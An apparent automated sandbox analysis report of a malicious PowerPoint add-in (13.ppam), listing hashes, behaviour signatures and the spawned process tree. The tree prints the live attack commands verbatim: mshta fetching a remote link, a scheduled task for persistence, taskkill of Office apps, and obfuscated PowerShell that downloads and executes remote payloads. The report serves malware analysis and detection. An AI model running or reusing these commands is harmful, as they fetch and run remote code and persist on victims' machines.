Analysis

  • max time kernel
    65s
  • max time network
    139s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    26-10-2021 16:49

General

  • Target

    13.ppam

  • Size

    6KB

  • MD5

    03bbdcead22e9329a234dc39f55f0a2b

  • SHA1

    465b5a304541a673ce583bc20d2dc4746ccec421

  • SHA256

    deef43f7490a5db9f8f9b688d8bc669ecc360d068e3b40e39de124f85068db2e

  • SHA512

    af1dde717ee4c195dd32873ed4205d8b98fcc783bc4379360db084ebb4275ff78361c3be69722698f214f5493205d0753ff9748497ffeee88449077f04031529

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 10 IoCs
  • Adds Run key to start application 2 TTPs 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Office loads VBA resources, possible macro or embedded object present
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Kills process with taskkill 2 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\13.ppam"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:520
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1764
      • C:\Windows\SysWOW64\mshta.exe
        mshta.exe https://www.bitly.com/kddjkdwokddwodkwodki
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Adds Run key to start application
        • Modifies Internet Explorer settings
        • Modifies system certificate store
        • Suspicious use of WriteProcessMemory
        PID:1852
        • C:\Windows\SysWOW64\taskkill.exe
          "C:\Windows\System32\taskkill.exe" /f /im winword.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1236
        • C:\Windows\SysWOW64\taskkill.exe
          "C:\Windows\System32\taskkill.exe" /f /im Excel.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1920
        • C:\Windows\SysWOW64\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""Bluefibonashi"" /F /tr ""\""MsHtA""\""http://1230948%[email protected]/p/14.html\""
          3⤵
          • Creates scheduled task(s)
          PID:1600
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h I`E`X([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('https://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles.com/ugd/92c492_974d936d2f6d4e52831d05712c24a1c9.txt').GetResponse().GetResponseStream()).ReadToend());I`E`X([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('https://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles.com/ugd/92c492_fca89e4173af436497e274a5e70b6145.txt').GetResponse().GetResponseStream()).ReadToend());
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1948

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/520-55-0x0000000070F51000-0x0000000070F53000-memory.dmp

      Filesize

      8KB

    • memory/520-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/520-54-0x0000000073E71000-0x0000000073E75000-memory.dmp

      Filesize

      16KB

    • memory/520-58-0x0000000074B41000-0x0000000074B43000-memory.dmp

      Filesize

      8KB

    • memory/520-70-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1236-62-0x0000000000000000-mapping.dmp

    • memory/1600-64-0x0000000000000000-mapping.dmp

    • memory/1764-57-0x0000000000000000-mapping.dmp

    • memory/1764-59-0x000007FEFB6B1000-0x000007FEFB6B3000-memory.dmp

      Filesize

      8KB

    • memory/1852-60-0x0000000000000000-mapping.dmp

    • memory/1852-66-0x00000000066E0000-0x00000000067D5000-memory.dmp

      Filesize

      980KB

    • memory/1920-63-0x0000000000000000-mapping.dmp

    • memory/1948-65-0x0000000000000000-mapping.dmp

    • memory/1948-68-0x00000000023C0000-0x000000000300A000-memory.dmp

      Filesize

      12.3MB